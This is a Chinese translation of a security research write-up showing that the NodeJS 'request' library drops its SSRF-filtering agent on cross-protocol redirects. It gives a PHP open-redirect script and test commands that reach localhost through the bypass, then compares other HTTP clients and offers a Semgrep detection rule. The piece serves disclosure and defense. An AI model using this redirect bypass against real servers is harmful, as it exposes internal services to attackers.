SSRF 跨协议重定向绕过
2023 年 3 月 16 日 - 作者:Szymon Drosdzol
服务端请求伪造(SSRF)是一种已知漏洞,已有成熟的防护方法。但在常规复测中,我意外绕过了 SSRF 防护措施,甚至成功绕过了我们自己推荐的过滤器。这促使我必须深入研究这个问题。
引言
服务端请求伪造是指攻击者利用受害服务器代表自己发起 HTTP(S)请求的漏洞。由于服务器通常可以访问内部网络,这种攻击可用于绕过防火墙和 IP 白名单,访问原本无法访问的内部主机。
请求库漏洞
假设没有过滤器绕过,SSRF 攻击可以通过地址过滤来预防。经典的 SSRF 过滤绕过技术之一是重定向攻击。攻击者设置恶意 Web 服务器,提供重定向到内部地址的端点。受害服务器允许向外部服务器发送请求,但会盲目跟随恶意重定向到内部服务。
这当然不是什么新技术。所有这些技术已经存在多年,任何可靠的反 SSRF 库都能缓解此类风险。然而,我还是绕过了它。
客户的代码是一个简单的集成端点。在最初的测试中没有任何过滤。在我们测试后,客户应用了反 SSRF 库 ssrfFilter。出于研究和代码匿名化目的,我将逻辑提取到一个独立的 NodeJS 脚本:
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');
let url = process.argv[2];
console.log("Testing", url);
request({
uri: url,
agent: ssrfFilter(url),
}, function (error, response, body) {
console.error('error:', error);
console.log('statusCode:', response && response.statusCode);
});
复制代码
为了验证重定向绕过,我用 PHP 创建了一个简单的具有开放重定向端点的 Web 服务器,并使用测试域名 tellico.fun 托管在互联网上:
<?php header('Location: '.$_GET["target"]); ?>
复制代码
初始测试显示漏洞已修复:
$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test"
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.
复制代码
但是,当我切换协议后,突然又能访问本地服务了。读者应仔细查看 payload,差异非常小:
$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200
复制代码
发生了什么?攻击者服务器将请求重定向到另一个协议 - 从 HTTPS 到 HTTP。这就是绕过反 SSRF 保护所需的全部。
为什么这样?在深入研究流行的 request 库代码库后,我在 lib/redirect.js 文件中发现了以下代码:
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}
复制代码
根据上面的代码,任何导致协议切换的重定向都会删除请求代理。没有这个变通方法,每当服务器导致跨协议重定向时,客户端就会失败。这是必需的,因为原生 NodeJs http(s).agent 不能同时用于两种协议。
不幸的是,这种行为也会丢失与代理关联的任何事件处理。鉴于 SSRF 预防基于代理的 createConnection 事件处理程序,这种意外行为影响了 request 库中 SSRF 缓解策略的有效性。
披露
其他库
既然这个号称通用的过滤器实际上如此依赖于 HTTP(S)客户端的实现,很自然地会问其他流行库如何处理这些情况。
Node-Fetch
node-Fetch 库也允许在其选项中覆盖 HTTP(S)代理,而不指定协议:
const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
let url = process.argv[2];
console.log("Testing", url);
fetch(url, {
agent: ssrfFilter(url)
}).then((response) => {
console.log('Success');
}).catch(error => {
console.log('${error.toString().split('\n')[0]}');
});
复制代码
与 request 库相反,它在跨协议重定向的情况下直接失败:
$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"
复制代码
因此不可能在这个库上执行类似的攻击。
Axios
axios 库的选项允许分别覆盖两种协议的代理。因此以下代码是受保护的:
axios.get(url, {
httpAgent: ssrfFilter("http://domain"),
httpsAgent: ssrfFilter("https://domain")
})
复制代码
注意:在 Axios 库中,必须在覆盖代理时硬编码 URL。否则其中一个代理会被错误协议的代理覆盖,跨协议重定向会像 node-fetch 库一样失败。
尽管如此,axios 调用仍可能易受攻击。如果忘记覆盖两个代理,跨协议重定向可以绕过过滤器:
axios.get(url, {
// httpAgent: ssrfFilter(url),
httpsAgent: ssrfFilter(url)
})
复制代码
这种错误配置很容易被忽略,因此我们创建了一个 Semgrep 规则来捕获 JavaScript 代码中的类似模式:
rules:
- id: axios-only-one-agent-set
message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
mode: taint
pattern-sources:
- patterns:
- pattern-either:
- pattern: |
{..., httpsAgent:..., ...}
- pattern: |
{..., httpAgent:..., ...}
- pattern-not: |
{...,httpAgent:...,httpsAgent:...}
pattern-sinks:
- pattern: $AXIOS.request(...)
- pattern: $AXIOS.get(...)
- pattern: $AXIOS.delete(...)
- pattern: $AXIOS.head(...)
- pattern: $AXIOS.options(...)
- pattern: $AXIOS.post(...)
- pattern: $AXIOS.put(...)
- pattern: $AXIOS.patch(...)
languages:
- javascript
- typescript
severity: WARNING
复制代码
总结
如上所述,我们在流行的 request 库中发现了一个可被利用的 SSRF 漏洞。尽管这个包已被弃用,但仍有超过 50k 个项目使用这个依赖,每周下载量超过 1800 万次。
我们展示了攻击者如何通过简单地将请求重定向到另一个协议(例如 HTTP 到 HTTPS)来绕过注入该库的任何反 SSRF 机制。虽然我们审查的许多库确实提供了针对此类攻击的保护,但像 axios 这样的库在存在类似错误配置时可能容易受到攻击。为了使这些问题更容易发现和避免,我们还发布了内部的 Semgrep 规则。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码
办公AI智能小助手
评论